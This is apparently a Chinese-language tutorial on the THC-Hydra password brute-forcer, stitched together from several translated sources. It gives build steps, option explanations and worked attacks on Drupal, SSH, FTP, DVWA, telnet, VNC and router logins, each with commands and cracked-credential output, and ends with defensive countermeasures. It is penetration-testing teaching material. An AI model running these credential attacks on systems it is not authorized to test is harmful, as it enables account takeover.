$ cd hydra-5.7-src /

一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:

$ ./configure

Starting hydra auto configuration ...

Checking for openssl (libssl/ssl.h) ...

                                ... NOT found, SSL support disabled

Get it fromhttp://www.openssl.org

Checking for Postgres (libpq.so) ...

                             ... found

Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...

                          ... NOT found, module svn disabled

Checking for firebird (libfbclient.so) ...

                                   ... NOT found, module firebird disabled

Checking for NCP (libncp.so / nwcalls.h) ...

                                     ... NOT found, module NCP disabled

Checking for SAP/R3 (librfc/saprfc.h) ...

                                  ... NOT found, module sapr3 disabled

Get it fromhttp://www.sap.com/solutions/netweaver/linux/eval/index.asp

Checking for libssh (libssh/libssh.h) ...

                                  ... NOT found, module ssh2 disabled

Get it fromhttp://www.libssh.org

Checking for GUI req's (pkg-config) ...

                                ... found

Hydra will be installed into .../bin of: /usr/local

(change this by running ./configure --prefix=path)

Writing Makefile.in ...

now type "make"

这些错误意味着某些依赖关系未安装。你仍然可以使用没有这些依赖关系的Hydra,但如果没有这些依赖关系,你将无法使用它们支持的协议。例如,上述错误意味着我们将无法执行SSL,SVN,甚至SSH爆破。除了这些常见的协议之外,错误表明支持firebird,NCP,SAP都缺少相应的依赖。Firebird是一种数据库技术。NCP是用于控制NetWare设备的NetWare支持协议,SAP /R3是用于客户关系类型包(认为结算和业务任务有关)的协议。不支持这些协议,Hydra的实用程序受到严格限制,因此你应该努力寻找支持这些功能的软件包。安装程序提供了一些有用的链接来查找所需的库。一般来说,如果你搜索[package]-dev或-devel,找到你的发行版的支持库。

现在在Fedora上使用:

$ sudo yum install subversion-devel openssl-devel libssh-devel firebird-devel ncpfs-devel postgresql-devel gtk2-devel

这应该允许使用除SAP库之外的所有库。

一旦安装了所有依赖项,通过重新运行configure,然后make和最后make install命令。确保作为“make install”命令的特权用户运行,以便将所需的库放在文件系统上(即使用“sudo make install”)。

安装完成后,你可以从命令行使用Hydra或GUI版本的xHydra。使用命令行对于大多数需求是完全足够的,但是有时GUI是有帮助的。

有效的爆破

暴力攻击的力量受到攻击者提供的输入的限制。当尝试猜测用户名和密码时,有两个主要的策略:

第一个是尝试盲目的爆破。为此,攻击工具会从预定义集合的组合中生成用户名和密码。通常这是数字和字母。例如,在盲目爆破攻击中,系统首先尝试使用密码“a”作为用户“a”登录。接下来,它尝试以用户’a'登录,密码为’b'等等,循环遍历所有可能的笛卡尔可能性。这种方法在时间上是非常低效的,但最终将找到有效的凭据。

第二种方法是使用列表作为输入。为此,将向攻击工具提供用户名和密码列表。然后,该工具将用户列表中的第一个帐户和密码列表中的第一个密码,依次连续尝试每个用户的密码。这可以通过将可用输入限制到更小的集合来加快此过程。

暴力攻击的主要缺点是他们花费的时间很长。然而,通过减少变量,可能会加速暴力攻击。收集用户名/密码样式认证系统的有效用户列表将有效用户的猜测限制,极大地减少了连接尝试次数。许多服务将以公开有效的用户帐户如电子邮件地址或其他显示数据的形式,提供给Hydra的用户文件,这样准确性将大大提高。

用例:爆破Drupal

九头蛇可以用于许多不同类型的暴力攻击。Hydra对于老式的爆破工具(如Brutus)的一个优点是其能够执行HTTP post form攻击。这允许你使用Hydra来攻击基于Web的应用程序,甚至是具有反XSRF格式令牌的应用程序。

Hydra的一个潜在用例是测试Drupal用户名和密码的强度。例如,如果在http://172.16.46.129/drupal-6.16/中安装了Drupal站点,我们可以使用任意数量的方法来收集users.txt中有效用户列表(包括http:// www.madirish.net/?article=443)。一旦我们有一个用户列表和可能的密码列表(可能保存为passwords.txt),同时我们需要发现一个最终的组件。Drupal使用令牌保护所有表单(包括登录表单),因此我们需要在Web浏览器中提取目标,查看源代码并找到令牌组件,例如:

</ ul> </ div> <input type =“hidden”name =“form_build_id”id =“form-6fae72d47e80c07782f8d9f8a92b37ca”value =“form-6fae72d47e80c07782f8d9f8a92b37ca”/>

<input type =“hidden”name =“form_id”id =“edit-user-login-block”value =“user_login_block”/>

注意form_build_id(form-6fae72d47e80c07782f8d9f8a92b37ca)的值,这是我们需要提供的令牌,因此Drupal可以验证表单的帖子。除了表单令牌之外,你还需要找到表单字段名称以及表单后期操作URI。收集所有这些数据后,最后一步是在登录失败时找到出现在页面中的唯一字符串。没有这个Hydra无法确定登录尝试是否成功。默认情况下,Drupal提供字符串“对不起,无法识别的用户名或密码”。密码失败时。装备了这最后的信息,我们可以开始一个九头蛇暴力攻击:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/drupal-6.16/node?destination=node:name=^USER^&pass=^PASS^&form_id=user_login_block&form_build_id=form-545eb8f40f49cc07d5cf994f2f7ffe2e:Sorry, unrecognized username or password."

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 11:56:02`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service http-post-form on port 80

[80][www-form] host: 172.16.46.129 login: admin password: password

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

Hydra (http://www.thc.org\ finished at 2010-06-25 11:56:03`

以上输出显示,Hydra使用用户名“admin”和密码“password”成功登录到目标站点。请注意,这两个值都分别显示在user.txt和passwords.txt文件中。

Hydra可以用来攻击一长串协议。例如,使用以下命令可以攻击上述同一主机上的SSH服务器:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 12:17:35`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service ssh2 on port 22

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

[22][ssh2] host: 172.16.46.129 login: admin password: password

Hydra (http://www.thc.org\ finished at 2010-06-25 12:17:39`

同样,此输出显示登录“admin”和密码“password”可以用于访问目标上的SSH。

实例4.爆破FTP和Web

1.介绍

当攻击者想要了解在线系统时,他可以使用字典爆破攻击。下面简单介绍了两种类型的攻击,并解释了如何使用Hydra启动在线字典攻击。

2.爆破与字典攻击

攻击者可以尝试所有可能的密码组合(暴力方法)。好处是对获得正确密码是有利的。缺点是这是一个非常耗时的过程。

攻击者可以建立一组连接数字(字典中的示例性模式)的通用字,并尝试从该集合中的每个组合。这种方法(字典攻击)可以节省攻击者的时间,因为他不必强制整个关键空间。缺点是不能保证找到正确的密码。然而,打入正确密码的可能性是非常好的。

3.环境

Hydra被描述为支持许多服务的网络登录破解者。下面简单介绍如何使用Hydra启动对FTP和Web表单的在线字典攻击。

Metasploitable是一种基于Linux的漏洞环境虚拟机。例如,它可以用于练习渗透测试技能。请记住,此机器易受攻击,不应以桥接模式运行。

DVWA(Damn Wulnerable Web Application)是一种有意易受攻击的Web应用程序。对于那些想要了解Web应用程序安全性的人来说,这是非常棒的环境。DVWA是Metasploitable的一部分。

4.字典

让我们创建两个简短的描述字典。

用户列表(list_user):

1

2

3

admin_1

admin

msfadmin

密码列表(list_password)

1

2

3

4

password_1

password

msfadmin

password_2

有12种组合进行检查(3个用户4次密码)。这些组合包括DVWA登录表单和Metasploitable FTP(DVWA登录表单的管理员/密码; Metasploitable FTP的msfadmin / msfadmin)的默认凭据。

5.Metasploitable字典攻击FTP

使用以下命令启动攻击:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 ftp -V

使用上述字典(list_user和list_password)。Metasploitable FTP服务器的IP地址为192.168.56.101。这就是为什么在命令中使用ftp模块。应该使用-V来查看每次尝试的用户名和密码。

如下所示,Hydra已经找到一对有效的用户名和密码(用户名:msfadmin,password:msfadmin)。

Clipboard Image.png

6.DVWA词典攻击Web登录表单

使用以下命令启动攻击:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

上述字典(list_user和list_password)再次被使用。DVWA的IP地址为192.168.56.101。DVWA的登录表单可以在192.168.56.101/dvwa/login.php的Metasploitable中找到。当用户登录时,生成以下请求(由Burp Suite 拦截):

Clipboard Image.png

关键部分标记在屏幕截图上。它们是http-post-form模块参数的值:

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

^ USER ^和^ PASS ^分别替换为用户名(来自list_user)和密码(list_password)。当登录尝试失败时,服务器将以“登录失败”消息进行响应,该消息是最后一个参数的值。

最后,应该使用-V来查看每次尝试的用户名和密码。

如下所示,Hydra已经找到一对有效的用户名和密码(用户名:admin,password:password)。

Clipboard Image.png

7.总结

本文介绍了两种类型的在线密码攻击(爆破,字典),并介绍了如何使用Hydra对FTP和Web表单启动在线字典攻击。Hydra是一个支持许多服务的网络登录破解者

[1]。Metasploitable可用于实践渗透测试技能

[2]。DVWA(Damn Wulnerable Web Application)对于那些想要使用Web应用程序安全性的人来说是有帮助的。

参考文献:

Hydra

http://www.thc.org/thc-hydra/

[2] Metasploitable

http://www.offensive-security.com/metasploit-unleashed/Metasploitable

[3] DVWA(Damn Wulnerable Web Application)

http://www.dvwa.co.uk/

[4] Burp suite

http://portswigger.net/burp/

实例5.爆破Telnet

爆破是一个相当简单的思维,也是一个非常强大的想法。简单地说这是什么意思 攻击者将尝试每个可能的字符组合,以尝试猜测你的密码/密钥等。这是为什么密码很重要的原因之一,因为爆破攻击会找到你的密码,你需要确保密码爆破在所需时间使其在技术上不可行。我们也简要地看了一下使用爆破来破解你所拥有的密码文件,但是这次我爆破一些登录服务。

忧虑

这两个主要原因是:

许多公司通过其防火墙允许一些服务,无论是ftp,pop3,ssh甚至网页登录到某个地方。所有这些都可以是爆破的。此外,这样做的工具易于使用和获取。

爆破的基本概念有所改变。许多爆破工具允许你指定密码或用户名列表。这是因为使用这些比传统的爆破更快。但是使用现代的硬盘驱动器大小和方法(彩虹表,组合攻击等),使用所有可能的字符组合创建一个文件是非常可行的,使用这样一个文件会减少运行这种攻击所需的时间。

使用linux系统进行爆破

让我展现出一个可以在linux和相关系统上使用的实用程序 – Hydra。

该软件来自THC,它是一个非常有用的基于命令行的程序,可以处理许多不同的协议。这是从4.6版本我正在使用的列表

支持的协议:[telnet ftp pop3 imap smb smbnt http https http-proxy cisco cisco-enable ldap2 ldap3 mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth teamspeak]

让我们从一个简单的服务开始 – telnet ..

# hydra -L ./users -P ./pass -e ns -t 1 10.0.0.50 telnet -v

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:39:08

[DATA] 1 tasks, 1 servers, 64 login tries (l:8/p:8), ~64 tries per task

[DATA] attacking service telnet on port 23

[23][telnet] host: 10.0.0.50 login: easy password: 12345

[STATUS] 16.00 tries/min, 16 tries in 00:01h, 48 todo in 00:04h

[23][telnet] host: 10.0.0.50 login: public password: joe

[STATUS] 18.50 tries/min, 37 tries in 00:02h, 27 todo in 00:02h

[23][telnet] host: 10.0.0.50 login: sue password: joe

[STATUS] attack finished for 10.0.0.50 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:42:08

现在首先,这个服务器有一些很简单的密码和用户名设置(你可以看到),现在看看我使用的交换机..

-L,指定用户名列表,注意大小写不同

-P,指定密码列表

-e,尝试null和相同(与用户名相同)密码

-t,以指定要运行的parralel进程的数量

那么目标IP和服务

-v,用于详细

让我们尝试运行它与常用的东西..

# hydra -l "" -P ./pass -e n -t 1 10.0.0.100 vnc -V

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:49:28

[DATA] 1 tasks, 1 servers, 8 login tries (l:1/p:8), ~8 tries per task

[DATA] attacking service vnc on port 5900

[5900][vnc] host: 10.0.0.100 login: password: 123456

[STATUS] attack finished for 10.0.0.100 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:49:30

正如你所看到的那样,VNC也是如此,所有我改变的是…

将用户名指定为null,-l“”

停止检查相同的密码,-en

简单,强大,实用

0×06免责说明

1.请勿在军事或秘密服务机构或非法目的使用。

2.Affero通用公共许可证版本3(AGPLv3)适用于此代码。

3.包含了OpenSSL的特殊许可扩展,这是Debian家族所需要的

0×07联系我们

诚心需要大家的帮助!

如果您发现错误,编码增强功能或为服务写入新的攻击模块,请将它们发送到[email protected]

有趣的攻击模块将是:OSPF,BGP,PIM,PPTP,…(或任何你可能做的事情(而且还没有)

请注意,您也可以通过github下载并提交:https://github.com/vanhauser-thc/thc-hydra

非常感谢大家的建议!

Yourssincerly,

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

0×08防范措施

由于在攻击期间导致的失败的登录尝试次数很多,所以爆破是非常容易发现的。有几种有效的策略来检测和预防这种攻击。

1.最有效的策略之一是限制失败的登录尝试次数。使用此策略可以在一定数量的故障之后阻止主机或锁定帐户。在实施这种方法时应该小心,因为攻击者可能会故意导致帐户被锁定而导致拒绝服务条件。由于响应有效的用户引起认证失败,使用此策略也会提高服务的支持成本。

2.另一个策略是限制连接尝试。许多服务允许配置此值。通过限制连接尝试次数,可能必须重新启动攻击工具才能完成攻击。这种类型的配置可能会使攻击者充分混淆,从而使他们远离。至少它会防止自动攻击。

3.每次失败的尝试增加服务响应时间是另一个可以在许多情况下运行的策略。该策略涉及连续增加每次失败的认证尝试的响应时间。这意味着首先发生小的延迟,但随着攻击的进行,延迟更长和更长。这是一种非常有效和不引人注意的挫败暴力攻击的方法。

4.只要服务创建某种失败的日志,检测爆破就很容易。最常见的入侵检测系统(IDS)应该能够在短时间内检测大量失败的登录尝试。这种方法的缺点是攻击者可能会洪泛一个系统来产生大量的IDS事件通知,这些通知可以用于分析人员引发信息超载。充斥警报的分析人员将难以通过所有通知来识别实际的攻击,因此攻击者可能能够隐藏大量攻击的攻击垃圾。

5.审计系统密码也是一个有效的防范。通过检查你自己的系统以确保常用的用户名和密码不允许访问,你可以确保使用Hydra和普通用户和密码列表的攻击者无法访问。这种类型的渗透测试可能是耗时的,但是可能会在暴力攻击开始或成功之前提醒运营商潜在的漏洞。

6.检查你的日志。确保你检查任何系统日志可疑活动。当我运行这些测试时,目标服务器的日志显示了很多失败的登录,始终是发生事件的一个明确的迹象

7.正确设置你的服务 在关闭会话之前只允许一定数量的登录,如果可能的话,可以锁定谁可以从哪里登录

8.使用好的密码

最后一件事,在某种恶意的事情之前检测到这种类型的事情。

字典更新:链接:http://pan.baidu.com/s/1pLMFjsR 密码:p84w

失效及时私信我

更新时间:2017年10月31日

本文是Medusa和Hydra快速入门手册的第二部分,第一部分的传送门这两篇也是后续爆破篇的一部分,至于字典,放在最后,后续会把祖传的几十G字典准备好

Hydra入门使用手册

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

目录

0×00什么是Hydra?

0x01Hydra-GTK

0×02如何安装

0×03如何使用Hydra?

0×04参考文档

0×05爆破实例

0×06免责说明

0×07联系我们

0×08防范措施

0×00什么是Hydra?

Clipboard Image.png

一个非常快速的网络登录破解程序,支持许多不同的服务。

查看功能集和服务覆盖页面-包括与ncrack和medusa的速度比较 当前版本:8.6

最后更新2017-07-21

(c)vanHauser/THC的2001-2017


@thc.org; http://www.thc.org

许多模块都是由David(dot)Maciejak @ gmail(dot)com编写的

BFG代码由Jan Dlabal提供


在AGPLv3下许可(见LICENSE文件)

请不要在军事或秘密服务机构使用,

或为非法目的。

0×00什么是Hydra?

首先,欢迎来到THCHydra项目的mini-website。

每个密码安全研究显示表明,最大的安全漏洞之一是密码。 而九头蛇是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra是灵活和迅速的

Hydra在Linux,Windows/Cygwin,Solaris11,FreeBSD8.1,OpenBSD,OSX,QNX/Blackberry上测试和编译,并在GPLv3下提供了特殊的OpenSSL许可证扩展。

目前此工具支持:

Asterisk,AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,

HTTP-GET,HTTP-HEAD,HTTP-POST,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-POST,HTTPS-HEAD,

HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,

PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,S7-300,SAP/R3,SIP,SMB,SMTP,

SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP.

对于HTTP,POP3,IMAP和SMTP,支持多种登录机制,如plain和MD5等。

这个工具是一个概念模型,是 为了让安全员和安全顾问验证提供一种可能性:从远程系统到系统的未经授权的访问是多么容易。

该程序被写入了vanHauser,并得到了DavidMaciejak的额外支持。

0x01Hydra-GTK

1.选择目标,准备爆破

Clipboard Image.png

2.选择爆破ID,爆破字典

Clipboard Image.png

3.Hydra结果和输出

Clipboard Image.png

0×02如何安装

第一部分:下载

1.生产/发布版本:

最新的Hydra的源代码:hydra-8.6.tar.gz

(在所有基于UNIX的平台上编译-甚至MacOSX,Windows上的Cygwin,ARM-Linux,Android,iPhone,Blackberry等)

2.发展版本:

您可以下载并编译当前在GITHUB存储库中开源的开发版本的hydra:

https://github.com/vanhauser-thc/thc-hydra

可以选择:

 svn co https://github.com/vanhauser-thc/thc-hydra

或者:

 git clone https://github.com/vanhauser-thc/thc-hydra.git

注意这是开发版本!新功能-伴随着新的bug。可能会导致Hydra无法运行!

1.只有旧版的Hydra才能使用源代码,只要是v7.x,就可以让您在不寻常的旧平台上出现问题:

hydra-5.9.1-src.tar.gz

2.Win32/Cywin二进制版本:—不再更新—

http://www.cygwin.com安装cygwin并自行编译。如果您没有安装cygwin – 那你将如何通过cygwin做适当的安全测试呢?.

这里是旧版本的ARM和Palm二进制文件,我们已经不再维护:

ARM:hydra-5.0-arm.tar.gz

Palm:hydra-4.6-palm.zip

第二部分:编译

Hydra在所有具有gcc-Linux,所有BSD,MacOS/X,Windows,Solaris等上的Cygwin的平台上都可以编译。

$ tar xvzf hydra-5.7-src.tar.gz

$ cd hydra-5.7-src /

一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:

$ ./configure

它甚至可以在旧版本的SunOS,Ultrix等平台进行编译;Htdra有很多可选模块,比如用于SSH的库,SVN等网络协议。

如果有些库消失了,这些库可能就是不被您的二进制文件支持。如果您在Linux上,麻烦以下命令,这将安装所有必需的库:

Ubuntu / Debian:

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev

Redhat / Fedora:

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

OpenSuSE:

zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

以上所有可选的模块和功能不包括Oracle,SAPR/3和Apple文件协议-所以您需要从提供源的网站下载和安装。

对于Oracle,这是(基本安装和SDK包)的地址:

http : //www.oracle.com/technetwork/database/features/instant-client/index.html

对于所有其他Linux派生和基于BSD的系统,请使用系统软件安装程序并查找类似命名库,如上面的命令。

在所有其他情况下,您就只能手动下载所有源库并手动编译;Hydra的配置脚本会告诉您什么库是缺失,以及可以从哪里获得。

0×03如何使用Hydra

3.1.简单使用

当你刚刚进入“hydra”,您将看到一个重要的简短摘要:可用选项输入“./hydra -h”以查看所有可用的命令行选项。

请注意,不包括登录/密码文件。你需要自己生成它们,或者使用别人已经生成的;然而,默认密码列表存在,使用“dpl4hydra.sh”生成一个列表。对于Linux用户,可以使用GTK gui,尝试“./xhydra”

对于命令行用法,语法如下:

对于攻击一个目标或网络,您可以使用新的“://”样式:

hydra[某些命令行选项]协议://目标:端口/选项

旧模式也可以用于这些,另外如果你想的话,从文本文件中指定目标,你必须使用这个:

hydra[某些命令行选项][-s端口]目标协议选项

通过命令行选项,您可以指定要尝试的登录名,哪些密码,如果使用SSL,需要使用多少个并行任务才能进行攻击等。PROTOCOL是您要用于攻击的协议,例如ftp,smtp,http-get或许多其他可用目标都是要攻击的目标,选项是每个PROTOCOL模块特殊的可选值。

第一:选择您的目标

您有三个选项可以指定要攻击的目标:

1.命令行上的单个目标:只需将IP或DNS地址放入

2.命令行上的网络范围:CIDR规范如“192.168.0.0/24”

3.文本文件中的主机列表:每个条目一行(见下文)以文本形式形成一份txt文档

第二:选择您的协议

尝试避免telnet,因为检测到正确或错误的登录尝试是不可靠的。其次可以使用端口扫描器查看目标上启用了哪些协议。

第三:检查模块是否有可选参数

hydra-U协议:例如hydra-Usmtp

此外:目标端口

目标端口是可以自己选择的!如果没有提供默认公用端口,可以自行设置协议的端口;

如果指定要使用SSL(“-S”选项),则默认使用SSL公用端口。如果使用“://”符号,则必须使用“[”“]“括号去支持IPv6地址或CIDR(“192.168.0.0/24”)爆破:

hydra[一些命令行选项]ftp://[192.168.0.0/24]/

hydra[某些命令行选项]-6smtp://[2001:db8::1]/NTLM

请注意,所有hydra都是IPv4的!如果要攻击IPv6地址,则必须添加“-6”命令行选项。所有攻击都将会是IPv6!

如果要通过文本文件提供目标,则不能使用://符号,但使用旧样式,只提供协议(和模块选项):

hydra[某些命令行选项]-Mtargets.txtftp

可以在每个目标之后添加“:”,为每个目标条目提供端口,例如:

foo.bar.com

target.com:21

unusual.port.com:2121

default.used.here.com

127.0.0.1

127.0.0.1:2121

请注意,如果要附加IPv6目标,则必须提供-6选项,*必须*将IPv6地址放在文件[]中的括号中,

如下所示:

foo.bar.com

target.com:21

[FE80::1%的eth0]

[2001::1]

[2002::2]:8080

[2A01:24A:133:0:00:123:FF:1A]

3.2登录和密码

有很多关于登录和密码攻击的选项,比如使用-l进行登录,-p为密码,请告诉hydra这是唯一的登录尝试和/密码尝试。

使用-L进行登录,-P为密码,您可以提供带条目的文本文件。

例如:

hydra -l admin -p password ftp:// localhost /

hydra -L default_logins.txt -p test ftp:// localhost /

hydra -l admin -P common_passwords.txt ftp:// localhost /

hydra -L logins.txt -P passwords.txt ftp:// localhost /

此外,您可以通过“-e”选项根据登录尝试密码。“-e”选项有三个参数:

s - 尝试登录密码

n - 尝试一个空的密码

r - 反转登录并尝试密码

如果你想,例如尝试“尝试登录密码和”空密码“,你在命令行上指定“-e sn”。但是,尝试密码的方式还有两种:-p /P:

您可以使用文本文件,文本内的登录名和密码对由冒号分隔,例如:

管理员:密码

测试:测试

FOO:酒吧

这是一个常见的默认帐户样式列表,也是由dpl4hydra.sh与hydra一起提供的默认帐户文件生成器生成的。当使用这样一个文本文件与-C选项 – 请注意,在这种模式下你不能使用-l / -L / -p / -P选项(-e nsr但是可以)。例:

hydra -C default_accounts.txt ftp:// localhost /

最后,有一个使用-x选项的暴力模式(你不能使用-p / -P / -C),

使用-x minimum_length:maximum_length:charset

字符集定义是小写字母的“a”,大写字母的“A”,“1”的数字和其他任何你提供它是他们的真实代表。

例子:

-x1:3:a将所有小写字母从长度1到3生成密码

-x2:5:/将密码从长度2到5只包含斜杠

-x5:8:A1使用大写和数字生成长度为5到8的密码

例:

hydra -l ftp -x 3:3:a ftp:// localhost /

3.3模块的特殊选择

通过第三个命令行参数(TARGETSERVICEOPTIONAL)或-m命令行选项,您可以将一个选项传递给模块。许多模块使用这个,有几个需要它!要查看模块的特殊选项,输入:

hydra -U <module>

例如:

./hydra -U http-post-form

特殊选项可以通过-m参数作为第三个命令行传递,选项或服务://target/option格式。

例子(他们其实是一样的):

./hydra -l test -p test -m PLAIN 127.0.0.1 imap

./hydra -l test -p test 127.0.0.1 imap PLAIN

./hydra -l test -p test imap://127.0.0.1/PLAIN

3.4恢复被破坏/中断的会话

当Hydra被Control-C中止,死亡或者崩溃时,它会留下“hydra.restore”文件,文件包含所有必要的信息,所以我们可以恢复会话。但要注意该会话文件每5分钟写一次。此外:hydra.restore文件不能复制到不同的平台(例如从低位编码littleendian到高位编码bigendian,或从solaris系统到aix)

3.5如何扫描/破解代码

环境变量HYDRA_PROXY_HTTP定义了Web代理(只为http服务!)。

以下语法有效:

HYDRA_PROXY_HTTP = “http://123.45.67.89:8080/”

HYDRA_PROXY_HTTP = “HTTP://login:[email protected]:8080 /”

HYDRA_PROXY_HTTP = “proxylist.txt”

最后一个例子是一个包含多达64个代理的文本文件(同样的),格式定义作为其他示例。

对于所有其他服务,请使用HYDRA_PROXY变量进行扫描/破解。它使用相同的语法。例如:

HYDRA_PROXY = [connect | SOCKS4 | SOCKS5]:// [login:[email protected]] proxy_addr:proxy_port

例如:

HYDRA_PROXY =connect://proxy.anonymizer.com:8000

HYDRA_PROXY = SOCKS4:// AUTH:[email protected]:1080

HYDRA_PROXY = socksproxylist.txt

3.6额外的提示

*按可能性排序您的密码文件,并使用-u选项查找密码更快!

*单击你的字典文件!这可以节省你很多时间:-)

cat words.txt | sort | uniq > dictionary.txt

*如果您知道目标是使用密码策略(允许用户),只能选择最小长度为6的密码,至少包含一个密码,字母和一个数字等使用工具pw-inspector,用hydra包减少密码列表:

cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt

3.7结果输出

结果输出到stdio以及其他信息。通过-o命令行选项,结果也可以写入文件。使用-b,并且可以指定输出的格式。目前,这些被支持:

*文本-纯文本格式

*`jsonv1`-使用版本1.x的JSON数据(定义如下)。

*`json`-JSON数据使用最新版本的模式,目前在那里只是版本1。

如果使用JSON输出,结果文件可能不是有效的JSON,如果有的话,Hydra的严重错误。

###JSONSchema

以下是JSON输出示例。标记一些参数的注意事项:

*`errormessages`-通常打印的零个或多个字符串的数组在九头蛇的运行结束时到stderr。文本是非常自由的形式。

*“success”-指示Hydra是否正常运行,是否是没有错误(**NOT**如果检测到密码)。该参数是JSON值“true”或“false”取决于是否完成密码爆破。

*`quantityfound`-发现了多少用户名+密码组合。

*`jsonoutputversion`-模式的版本,1.00,1.01,1.11,2.00,2.03等Hydra将使2.0版本从低位跨越双字节高位,(而不是只有v1.1vsV1.10)。低版本是不断叠加的,所以1.02将包含比1.0版本更多字段去实现向后兼容。版本2.x也将会从1.x版本的输出去掉一些东西。

1.00的案例:

Version 1.00 example:

{
“errormessages”: [
"[ERROR] Error Message of Something”,
“[ERROR] Another Message”,
“These are very free form”
],
“generator”: {
“built”: “2017-03-01 14:44:22″,
“commandline”: “hydra -b jsonv1 -o results.json … …”,
“jsonoutputversion”: “1.00″,
“server”: “127.0.0.1″,
“service”: “http-post-form”,
“software”: “Hydra”,
“version”: “v8.5″
},
“quantityfound”: 2,
“results”: [
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "bill",
"port": 9999,
"service": "http-post-form"
},
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "joe",
"port": 9999,
"service": "http-post-form"
}
],
“success”: false
}

0×04参考文档

Hydra带有一个相当长的README文件来描述,有关使用和特殊选项的详细信息。当然你也可以参考本文快速入门。

但有时详细的在线帮助可以大大提高您的效率。

推荐阅读以下链接,部分可能需要梯子,自备哦

安装:

http://www.madirish.net/content/hydra-brute-force-utility

一般用法和选项:

http://www.aldeid.com/wiki/Thc-hydra

http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/(需要梯子)

HTTP基本认证:

https://www.owasp.org/index.php/TestingforBruteForce%28OWASP-AT-004%29

http://www.sillychicken.co.nz/Security/how-to-brute-force-your -router-in-you-windows.html

基于HTTP表单的auth:

http: //www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydrahttp://insidetrust.blogspot.com/2011/ 08 / using-hydra-to-dictionary-attack-web.html

http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html

https://www.owasp.org/index.php/Testing for Brute Force %28OWASP-AT-004%29

多协议:

http://www.madirish.net/content/hydra-brute-foece-utility

Telnet:

http://www.adeptus-mechanicus.com/codex/bflog/bflog.html

对于那些用DVWA测试的人来说,这就是你想要的:

hydra-ladmin-ppasswordhttp-get-form“/dvwa/login.php:username=^USER^&password=^PASS^&submit=Login:Loginfailed”

以下对参考文档主要内容的详细介绍,取其精华,去其糟粕,同样,也会增加实例到渗透测试:爆破篇,敬请期待

0×05爆破实例

接下来将简单描述几个Hydra使用的实例!

实例1.爆破路由器

思路:当你登录路由器默认管理地址时,使用Hydra爆破

首先,找到你的路由器IP,你应该已经知道了,我的是192.168.1.1,此路由器的默认用户名为“admin”。如果由于某种原因,不记得密码了,现让我们来找回密码。

然后,打开准备好的Hydra,windows下打开CMD或Powershell打开命令提示符并进入到Hydra目录

运行下面的命令替换你的值(命令标志区分大小写)。

hydra -l {username} -P {password list path} -s {port} {IP Address} http-get /

实际命令如下所示:

hydra -l admin -P password.lst -s 80 192.168.1.1 http-get /

命令分解:

hydra – > hydra程序

-l – >(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表

-P – >提供密码list的路径。-p尝试单个密码,即“passw0rd”

-s – >端口目标您的路由器可能会运行在不同的端口,如8080

{IP地址}这个不用解释

http-get – >暴力破解的服务部分

“/” – >这将指定要定位的页面,如果这被排除,命令将不会运行。“/”只是表示不包括root“

如果你的字典和Hydra一样强,你将在输出行收获一个用户名和密码,这也意味着你成功了!

实例2.爆破HTTP

首先需要确认的几件事情:

返回页面

Post参数

文本尝试失败

返回页面

这通常与登录页面相同,但并不总是如此。所以只需查看页面的源代码,并找到一个方法让表单=“post”。动作值是将被“发布”的页面的值。正如你可以看到要发布的页面是“index.php”

Post参数

